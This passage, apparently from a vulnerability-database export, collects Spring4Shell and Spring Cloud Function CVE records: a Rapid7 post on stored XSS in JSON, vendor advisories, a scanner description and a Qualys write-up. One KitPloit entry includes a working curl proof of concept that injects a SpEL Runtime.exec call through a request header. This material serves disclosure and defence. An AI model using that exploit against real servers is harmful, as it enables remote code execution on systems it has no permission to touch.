contact form refreshes. The entire page and all of its contents do not refresh like in the previous version, which is a major win for efficiency and user experience. \n\nBelow is an example of what a POST might look like formatted in JSON.\n\n\n\n\u201cWhat is JSON?\u201d you might ask. Short for JavaScript Object Notation, it is a lightweight text format for storing and transferring data and is most commonly used when sending data to and from servers. Remember those curly braces I mentioned earlier? Well, one quick and easy way to spot JSON is the formatting and the use of curly braces.\n\nIn the example above, you can see what our new POST looks like using ajax or the fetch method in JavaScript. While the end result is no different than before, as seen in the example below, the method that was used to update the page is quite different. The key difference here is that the data we\u2019re wanting to update is being treated as just that: data, but in the form of JSON as opposed to HTML.\n\n\n\nNow, let's inject the same XSS payload into the same email field and hit update. In the example below, you can see that our POST request has been wrapped in curly braces, using JSON, and is formatted a bit differently than previously before being sent to the back end to be processed.\n\n\n\n\n\nIn the example above, you can see that the application is allowing my email address to be the XSS payload in its entirety. However, the JavaScript here is only being displayed and not being executed as code by the browser, so the alert \u201cpop\u201d message never gets triggered as in the previous example. That again is the key difference from the original way we were fulfilling the requests versus our new, more modern way \u2014 or in short, using JSON instead of HTML.\n\nNow you might be asking yourself, what's wrong with allowing the XSS payload to be the email address if it's only being displayed and not being executed as JavaScript by the browser. That is a valid question, but hear me out.\n\nSee, I've been working in this industry long enough to know that the two most common responses to a question or statement regarding cybersecurity begin with either \u201cthat depends\u2026\u201d or \u201cwhat if\u2026\u201d I'm going to go with the latter here and throw a couple what-ifs at you.\n\nNow that my XSS is stored in your database, it\u2019s only a matter of time before this ticking time bomb goes off. Just because my XSS is being treated as JSON and not HTML now does not mean that will always be the case, and attackers are betting on this.\n\nHere are a few scenarios.\n\n### Scenario 1\n\nWhat if team B handles this data differently from team A? What if team B still uses more traditional methods of sending and receiving data to and from the back end and does leverage the use of HTML and not JSON? \n\nIn that case, the XSS would most likely eventually get executed. It might not affect the website that the XSS was originally injected into, but the stored data can be (and usually is) also used elsewhere. The XSS stored in that database is probably going to be shared and used by multiple other teams and applications at some point. The odds of all those different teams leveraging the exact same standards and best practices are slim to none, and attackers know this. \n\n### Scenario 2\n\nWhat if, down the road, a developer using more modern techniques like ajax or the fetch method to send and receive data to and from the back end decides to use the .innerHTML property instead of .innerTEXT to load that JSON into the UI? All bets are off, and the stored XSS that was previously being protected by those lovely curly braces will now most likely get executed by the browser.\n\n### Scenario 3\n\nLastly, what if the current app had been developed to use server-side rendering, but a decision from higher up has been made that some costs need to be cut and that the company could actually save money by recoding some of their web apps to be client-side rather than server-side? \n\nPreviously, the back end was doing all the work, including sanitizing all user input, but now the shift will be for the browser to do all the heavy lifting. Good luck spotting all the XSS stored in the DB \u2014 in its previous state, it was \u201charmless,\u201d but now it could get rendered to the UI as HTML, allowing the browser to execute said stored XSS. In this scenario, a decision that was made upstream will have an unexpected security impact downstream, both figuratively and literally \u2014 a situation that is all too well-known these days.\n\n## Final thoughts\n\nPart of my job as a security advisor is to, well, advise. And it's these types of situations that keep me up at night. I come across XSS in applications every day, and while I may not see as many fun and exciting \u201cpops\u201d as in years past, I see something a bit more troubling. \n\nThis type of XSS is what I like to call a \u201csleeper vuln\u201d \u2013 laying dormant, waiting for the right opportunity to be woken up. If I didn't know any better, I'd say XSS has evolved and is aware of its new surroundings. Of course, XSS hasn\u2019t evolved, but the applications in which it lives have. \n\nAt the end of the day, we\u2019re still talking about the same XSS from its conception, the same XSS that has been on the [OWASP Top 10](<https://www.rapid7.com/blog/post/2021/09/30/the-2021-owasp-top-10-have-evolved-heres-what-you-should-know/>) for decades \u2014 what we\u2019re really concerned about is the lack of sanitization or handling of user input. But now, with the massive adoption of JavaScript frameworks like Angular, libraries like React, the use of APIs, and the heavy reliance on them to handle the data properly, we\u2019ve become complacent in our duties to harden applications the proper way.\n\nThere seems to be a division in camps around XSS in JSON. On the one hand, some feel that since the JavaScript isn't being executed by the browser, everything is fine. Who cares if an email address (or any data for that matter) is potentially dangerous \u2014 _**as long as**_ it's not being executed by the browser. And on the other hand, you have the more fundamentalist, dare I say philosophical thought that all user input should never be trusted: It should always be sanitized, regardless of whether it\u2019s treated as data or not \u2014 and not solely because of following best coding and security practices, but also because of the \u201cthat depends\u201d and \u201cwhat if\u201d scenarios in the world. \n\nI'd like to point out in my previous statement above, that \u201c_**as long as**_\u201d is vastly different from _**\u201c**cannot._\u201d \u201cAs long as\u201d implies situational awareness and that a certain set of criteria need to be met for it to be true or false, while \u201ccannot\u201d is definite and fixed, regardless of the situation or criteria. \u201cAs long as the XSS is wrapped in curly braces\u201d means it does not pose a risk in its current state but could in other states. But if input is sanitized and escaped properly, the XSS would never exist in the first place, and thus it \u201ccannot\u201d or could not be executed by the browser, ever.\n\nI guess I cannot really complain too much about these differences of opinions though. The fact that I'm even having these conversations with others is already a step in the right direction. But what does concern me is that it's 2022, and we\u2019re still seeing XSS rampant in applications, but because it's wrapped in JSON somehow makes it acceptable. One of the core fundamentals of my job is to find and prioritize risk, then report. And while there is always room for discussion around the severity of these types of situations, lots of factors have to be taken into consideration, a spade isn't always a spade in [application security](<https://www.rapid7.com/fundamentals/web-application-security/>), or cybersecurity in general for that matter. But you can rest assured if I find XSS in JSON in your environment, I will be calling it out. \n\nI hope there will be a future where I can look back and say, \u201cRemember that one time when curly braces were all that prevented your website from getting hacked?\u201d Until then, JSON or not, never trust user data, and sanitize all user input (and output for that matter). A mere { } should never be the difference between your site getting hacked or not.\n\n_**Additional reading:**_\n\n * _[Cloud-Native Application Protection (CNAPP): What's Behind the Hype?](<https://www.rapid7.com/blog/post/2022/05/02/cloud-native-application-protection-cnapp-whats-behind-the-hype/>)_\n * _[Rapid7 Named a Visionary in 2022 Magic Quadrant\u2122 for Application Security Testing Second Year in a Row](<https://www.rapid7.com/blog/post/2022/04/21/rapid7-named-a-visionary-in-2022-magic-quadrant-for-application-security-testing-second-year-in-a-row/>)_\n * _[Let's Dance: InsightAppSec and tCell Bring New DevSecOps Improvements in Q1](<https://www.rapid7.com/blog/post/2022/04/15/lets-dance-insightappsec-and-tcell-bring-new-devsecops-improvements-in-q1/>)_\n * _[Securing Your Applications Against Spring4Shell (CVE-2022-22965)](<https://www.rapid7.com/blog/post/2022/04/01/securing-your-applications-against-spring4shell-cve-2022-22965/>)_\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-05-04T15:48:03", "type": "rapid7blog", "title": "XSS in JSON: Old-School Attacks for Modern Applications", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-05-04T15:48:03", "id": "RAPID7BLOG:07EA4EC150B77E4EB3557E1B1BA39725", "href": "https://blog.rapid7.com/2022/05/04/xss-in-json-old-school-attacks-for-modern-applications/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "paloalto": [{"lastseen": "2023-07-21T18:40:25", "description": "The Palo Alto Networks Product Security Assurance team has completed its evaluation of the Spring Cloud Function vulnerability CVE-2022-22963 and Spring Core vulnerability CVE-2022-22965 for all products and services. All Palo Alto Networks cloud services with possible impact have been mitigated and remediated.\n\nThe following products and services are not impacted by these Spring vulnerabilities: AutoFocus, Bridgecrew, Cortex Data Lake, Cortex XDR agent, Cortex Xpanse, Cortex XSOAR, Enterprise Data Loss Prevention, Exact Data Matching (EDM) CLI, Expanse, Expedition Migration Tool, GlobalProtect app, IoT Security, Okyo Garde, Palo Alto Networks App for Splunk, PAN-OS hardware and virtual firewalls and Panorama appliances, Prisma Cloud, Prisma Cloud Compute, Prisma SD-WAN (CloudGenix), Prisma SD-WAN ION, SaaS Security, User-ID Agent, WildFire Appliance (WF-500), and WildFire Cloud.\n\n**Work around:**\nNo workarounds or mitigations are required for Palo Alto Networks products at this time.\n\nCustomers with a Threat Prevention subscription can block the attack traffic related to these vulnerabilities by enabling Threat IDs 92393, 92394, and 83239 for CVE-2022-22965 and Threat ID 92389 for CVE-2022-22963.\n\nSee https://unit42.paloaltonetworks.com/cve-2022-22965-springshell/ for more details on Palo Alto Networks product capabilities to protect against attacks that exploit this issue.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-31T02:30:00", "type": "paloalto", "title": "Informational: Impact of Spring Vulnerabilities CVE-2022-22963 and CVE-2022-22965", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963", "CVE-2022-22965"], "modified": "2022-03-31T02:30:00", "id": "PA-CVE-2022-22963", "href": "https://securityadvisories.paloaltonetworks.com/CVE-2022-22963", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "redhatcve": [{"lastseen": "2023-07-21T20:35:36", "description": "A flaw was found in Spring Cloud Function via the spring.cloud.function.routing-expression header that is modified by the attacker to contain malicious expression language code. The attacker is able to call functions that should not normally be accessible, including runtime exec calls.\n#### Mitigation\n\nAffected customers should update immediately as soon as patched software is available. There are no other mitigations available at this time. \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-31T18:32:29", "type": "redhatcve", "title": "CVE-2022-22963", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963", "CVE-2022-22965"], "modified": "2023-04-06T09:43:13", "id": "RH:CVE-2022-22963", "href": "https://access.redhat.com/security/cve/cve-2022-22963", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-16T02:39:47", "description": "A flaw was found in the Spring Framework. This flaw allows an attacker to craft a special Spring Expression, causing a denial of service.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2022-03-28T21:07:31", "type": "redhatcve", "title": "CVE-2022-22950", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22950"], "modified": "2023-06-16T01:43:41", "id": "RH:CVE-2022-22950", "href": "https://access.redhat.com/security/cve/cve-2022-22950", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2023-09-01T00:09:19", "description": "A flaw was found in Spring Framework, specifically within two modules called Spring MVC and Spring WebFlux, (transitively affected from Spring Beans), using parameter data binding. This flaw allows an attacker to pass specially-constructed malicious requests to certain parameters and possibly gain access to normally-restricted functionality within the Java Virtual Machine.\n#### Mitigation\n\nFor those who are not able to upgrade affected Spring classes to the fixed versions, there is a workaround customers can implement for their applications, via setting disallowed fields on the data binder, and denying various iterations of the string "class.*" \n\n\nFor full implementation details, see Spring's early announcement post in the "suggested workarounds" section: <https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement#suggested-workarounds> \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-31T18:32:57", "type": "redhatcve", "title": "CVE-2022-22965", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2023-08-31T16:16:01", "id": "RH:CVE-2022-22965", "href": "https://access.redhat.com/security/cve/cve-2022-22965", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "kitploit": [{"lastseen": "2023-07-21T20:47:11", "description": "# [](<https://blogger.googleusercontent.com/img/a/AVvXsEiq83rixQ33OKbmoWJi89WYHdc4DrLKjaF4Fb_oNC9eI-0dinGfghgU-ON86t-dvUArvvR4Uytjd8t4wjK3r0hSR6SojDsdxtk5oTYh9zXEVVj_Vwr5Jv4R77tpdZamnECE8jW0wK86UlAO3xZNSDsr5XlvkezzB-JxjKcV1r204vACkoGhTZ5kDzKX>)\n\n#### \n\n\n#### A fully automated, reliable, and accurate scanner for finding Spring4Shell and Spring Cloud RCE vulnerabilities\n\n[](<https://camo.githubusercontent.com/50b8ab2234bbab2c18588a670936521d1ff5e59d5ca623a9a462da51a3ceafab/68747470733a2f2f646b68396568776b697363342e636c6f756466726f6e742e6e65742f7374617469632f66696c65732f38623637376131622d376335332d343062312d393333652d6531306635373163386262382d737072696e67347368656c6c2d44656d6f2e706e67> \"A fully automated, reliable, and accurate scanner for finding Spring4Shell and Spring Cloud RCE vulnerabilities \\(2\\)\" )[](<https://blogger.googleusercontent.com/img/a/AVvXsEhwUOGEkZWllztaONh15l-vccNxhEwBTiFlTp4EjnrWMxaQLx2Jazoo4d04LSQWwsomwL48sBTjfRoxCS0VtEC6FgI6jUjnQBbh_-dcDCKxovaU-2Su5R2LIHzccE1YG7A-NPawwE7dEld8q-n6CbDiSLi9-bW_6pwV8bvM5HRiVN9UHYqE9Y71sv4c>)\n\n# Features\n\n * Support for lists of URLs.\n * Fuzzing for more than 10 new Spring4Shell payloads (previously seen tools uses only 1-2 variants).\n * Fuzzing for HTTP GET and POST methods.\n * Automatic validation of the [vulnerability](<https://www.kitploit.com/search/label/Vulnerability> \"vulnerability\" ) upon discovery.\n * Randomized and non-intrusive payloads.\n * WAF Bypass payloads.\n\n \n\n\n# Description\n\nThe Spring4Shell RCE is a critical vulnerability that FullHunt has been researching since it was released. We worked with our customers in scanning their environments for Spring4Shell and Spring Cloud RCE vulnerabilities.\n\nWe're open-sourcing an open detection scanning tool for discovering Spring4Shell (CVE-2022-22965) and Spring Cloud RCE (CVE-2022-22963) vulnerabilities. This shall be used by security teams to scan their infrastructure, as well as test for WAF bypasses that can result in achieving successful [exploitation](<https://www.kitploit.com/search/label/Exploitation> \"exploitation\" ) of the organization's environment.\n\nIf your organization requires help, please contact (team at fullhunt.io) directly for a full attack surface [discovery](<https://www.kitploit.com/search/label/Discovery> \"discovery\" ) and scanning for the Spring4Shell vulnerabilities.\n\n# Usage\n\nManagement Platform. [\u2022] Secure your External Attack Surface with FullHunt.io. usage: spring4shell-scan.py [-h] [-u URL] [-p PROXY] [-l USEDLIST] [--payloads-file PAYLOADS_FILE] [--waf-bypass] [--request-type REQUEST_TYPE] [--test-CVE-2022-22963] optional arguments: -h, --help show this help message and exit -u URL, --url URL Check a single URL. -p PROXY, --proxy PROXY Send requests through proxy -l USEDLIST, --list USEDLIST Check a list of URLs. --payloads-file PAYLOADS_FILE Payloads file - [default: payloads.txt]. --waf-bypass Extend scans with WAF bypass payloads. --request-type REQUEST_TYPE Request Type: (get, post, all) - [Default: all]. --test-CVE-2022-22963 Test for [CVE-2022-22963](<https://www.kitploit.com/search/label/CVE-2022-22963> \"CVE-2022-22963\" ) (Spring Cloud RCE). \">\n \n \n $ ./spring4shell-scan.py -h \n [\u2022] CVE-2022-22965 - Spring4Shell RCE Scanner \n [\u2022] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform. \n [\u2022] Secure your External Attack Surface with FullHunt.io. \n usage: spring4shell-scan.py [-h] [-u URL] [-p PROXY] [-l USEDLIST] [--payloads-file PAYLOADS_FILE] [--waf-bypass] [--request-type REQUEST_TYPE] [--test-CVE-2022-22963] \n \n optional arguments: \n -h, --help show this help message and exit \n -u URL, --url URL Check a single URL. \n -p PROXY, --proxy PROXY \n Send requests through proxy \n -l USEDLIST, --list USEDLIST \n Check a list of URLs. \n --payloads-file PAYLOADS_FILE \n Payloads file - [default: payloads.txt]. \n --waf-bypass Extend scans with WAF bypass payloads. \n --request-type REQUEST_TYPE \n Request Type: (get, post, all) - [Default: all]. \n --test-CVE-2022-22963 \n Test for CVE-2022-22963 (Spring Cloud RCE).\n\n## Scan a Single URL\n \n \n $ python3 spring4shell-scan.py -u https://spring4shell.lab.secbot.local\n\n## Discover WAF bypasses against the environment\n \n \n $ python3 spring4shell-scan.py -u https://spring4shell.lab.secbot.local --waf-bypass\n\n## Scan a list of URLs\n \n \n $ python3 spring4shell-scan.py -l urls.txt\n\n## Include checks for Spring Cloud RCE (CVE-2022-22963)\n \n \n $ python3 spring4shell-scan.py -l urls.txt --test-CVE-2022-22963 \n \n\n# Installation\n \n \n $ pip3 install -r requirements.txt \n \n\n# Docker Support\n \n \n git clone https://github.com/fullhunt/spring4shell-scan.git \n cd spring4shell-scan \n sudo docker build -t spring4shell-scan . \n sudo docker run -it --rm spring4shell-scan \n \n # With URL list \"urls.txt\" in current directory \n docker run -it --rm -v $PWD:/data spring4shell-scan -l /data/urls.txt\n\n# About FullHunt\n\nFullHunt is the next-generation attack surface management (ASM) platform. FullHunt enables companies to discover all of their attack surfaces, monitor them for exposure, and continuously scan them for the latest security vulnerabilities. All, in a single platform, and more.\n\nFullHunt provides an enterprise platform for organizations. The FullHunt Enterprise Platform provides extended scanning and capabilities for customers. FullHunt Enterprise platform allows organizations to closely monitor their external attack surface, and get detailed alerts about every single change that happens. Organizations around the world use the FullHunt Enterprise Platform to solve their continuous security and external attack surface security challenges.\n\n# Legal Disclaimer\n\nThis project is made for educational and ethical testing purposes only. Usage of spring4shell-scan for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.\n\n# License\n\nThe project is licensed under MIT License.\n\n# Author\n\n_Mazin Ahmed_\n\n * Email: _mazin at FullHunt.io_\n * FullHunt: <https://fullhunt.io>\n * Website: <https://mazinahmed.net>\n * Twitter: <https://twitter.com/mazen160>\n * Linkedin: <http://linkedin.com/in/infosecmazinahmed>\n \n \n\n\n**[Download Spring4Shell-Scan](<https://github.com/fullhunt/spring4shell-scan> \"Download Spring4Shell-Scan\" )**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-24T21:30:00", "type": "kitploit", "title": "Spring4Shell-Scan - A Fully Automated, Reliable, And Accurate Scanner For Finding Spring4Shell And Spring Cloud RCE Vulnerabilities", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963", "CVE-2022-22965"], "modified": "2022-04-24T21:30:00", "id": "KITPLOIT:6278364996548285306", "href": "http://www.kitploit.com/2022/04/spring4shell-scan-fully-automated.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-07-21T20:47:19", "description": "[](<https://blogger.googleusercontent.com/img/a/AVvXsEilWkK-FPAHhY2QeYOmsLsM-kP1C10az0AOqwJ_niOh9uN1mEZeepHZOtVxi-grt1ZtdY24_cFBoJNPX-0MksoeZtPnEknxVg_GyBumJdWB4TIadM3PpxhyFOT-oToifQDbxJBD3B2F5nR7kxEt6gKYVDAEiLqImwp-DUxjzKgdwb5mrgsKRqU3HDJK>)\n\n \n\n\nTo run the [vulnerable](<https://www.kitploit.com/search/label/Vulnerable> \"vulnerable\" ) SpringBoot application run this docker [container](<https://www.kitploit.com/search/label/Container> \"container\" ) [exposing](<https://www.kitploit.com/search/label/Exposing> \"exposing\" ) it to port 8080. Example:\n \n \n docker run -it -d -p 8080:8080 bobcheat/springboot-public \n \n\n## Exploit\n\nCurl command:\n \n \n curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\\\"touch /tmp/test\")' --data-binary $'exploit_poc' $'http://192.168.1.2:8080/functionRouter' \n \n\nOr using [Burp](<https://www.kitploit.com/search/label/Burp> \"Burp\" ) suite:\n\n[](<https://github.com/darryk10/CVE-2022-22963/blob/main/burp-suite-exploit.png> \"$ \\(5\\)\" )[](<https://blogger.googleusercontent.com/img/a/AVvXsEilWkK-FPAHhY2QeYOmsLsM-kP1C10az0AOqwJ_niOh9uN1mEZeepHZOtVxi-grt1ZtdY24_cFBoJNPX-0MksoeZtPnEknxVg_GyBumJdWB4TIadM3PpxhyFOT-oToifQDbxJBD3B2F5nR7kxEt6gKYVDAEiLqImwp-DUxjzKgdwb5mrgsKRqU3HDJK>)\n\n## Credits\n\n<https://github.com/hktalent/spring-spel-0day-poc>\n\n \n \n\n\n**[Download CVE-2022-22963](<https://github.com/darryk10/CVE-2022-22963> \"Download CVE-2022-22963\" )**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-31T11:30:00", "type": "kitploit", "title": "CVE-2022-22963 - PoC Spring Java Framework 0-day Remote Code Execution Vulnerability", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963"], "modified": "2022-03-31T11:30:00", "id": "KITPLOIT:7586926896865819908", "href": "http://www.kitploit.com/2022/03/cve-2022-22963-poc-spring-java.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "qualysblog": [{"lastseen": "2022-04-08T16:57:59", "description": "_This page last updated: April 7th_\n\nA new zero-day Remote Code Execution (RCE) vulnerability, \u201cSpring4Shell\u201d or \u201cSpringShell\u201d was disclosed in the Spring framework. An unauthorized attacker can exploit this vulnerability to remotely execute arbitrary code on the target device. \n\n### What is Spring Framework? \n\nSpring-core is a prevalent framework widely used in Java applications that allows software developers to develop Java applications with enterprise-level components effortlessly. \n\n### Which versions are vulnerable? \n\nThe vulnerability requires JDK version 9 or later to be running. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions are vulnerable. It allows remote attackers to plant a web shell when running Spring framework apps on top of JRE 9. It is caused by unsafe deserialization of given arguments that a simple HTTP POST request can trigger to allow full remote access. \n\n### How can this be exploited? \n\nThe exploitation of this vulnerability relies on an endpoint with DataBinder enabled, which decodes data from the request body automatically. This property could enable an attacker to leverage Spring4Shell against a vulnerable application. In fact, the Spring framework class DataBinder warns about this in its [documentation](<https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/validation/DataBinder.html>): \n\n\u201cNote that there are potential security implications in failing to set an array of allowed fields. In the case of HTTP form POST data, for example, malicious clients can attempt to subvert an application by supplying values for fields or properties that do not exist on the form. In some cases, this could lead to illegal data being set on command objects or their nested objects. For this reason, it is highly recommended to specify the allowedFields property on the DataBinder.\u201d \n\n### What are the prerequisites to exploit this vulnerability? \n\n * JDK 9 or higher \n * Apache Tomcat as the Servlet container \n * Packaged as a traditional WAR (in contrast to a Spring Boot executable jar) \n * spring-webmvc or spring-webflux dependency \n * Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions \n\n### Is there a patch available for Spring4Shell? \n\nSpring Framework 5.3.18 and 5.2.20, that contain the fixes, have been released. If you\u2019re able to upgrade to Spring Framework **5.3.18** and **5.2.20**, no workarounds are necessary. \n\nIn case you cannot update to the latest Spring Framework version upgrading to Apache Tomcat **10.0.20**, **9.0.62**, or **8.5.78** provides adequate protection but not solves the vulnerability completely. \n\nIn addition, there are multiple working proof-of-concept (PoC) exploits available for Spring4Shell. We strongly recommend that organizations deploy these mitigations or use a third-party firewall for defense. \n\n### Qualys Coverage \n\nQualys Research Team has released the following authenticated QIDs to address this vulnerability for now. These QIDs will be available starting with vulnsigs version VULNSIGS-2.5.438-3 and in Cloud Agent manifest version LX_MANIFEST-2.5.438.3-2. \n\n**QID**| **Title**| **Version**| **Available for** \n---|---|---|--- \n376506| Spring Core Remote Code Execution (RCE) Vulnerability (Spring4Shell)| VULNSIGS-2.5.438-3| Scanner/Cloud Agent \n45525| Spring core or Spring beans jar detected| VULNSIGS-2.5.438-3| Scanner/Cloud Agent \n150494| Spring Cloud Function Remote Code Execution (RCE) Vulnerability (CVE-2022-22963)| VULNSIGS-2.5.440-3| Web Application Security \n376508| Spring Cloud Function Remote Code Execution (RCE) Vulnerability (Authenticated)| VULNSIGS-2.5.440-6/ lx_manifest-2.5.440.6-5| Scanner/Cloud Agent 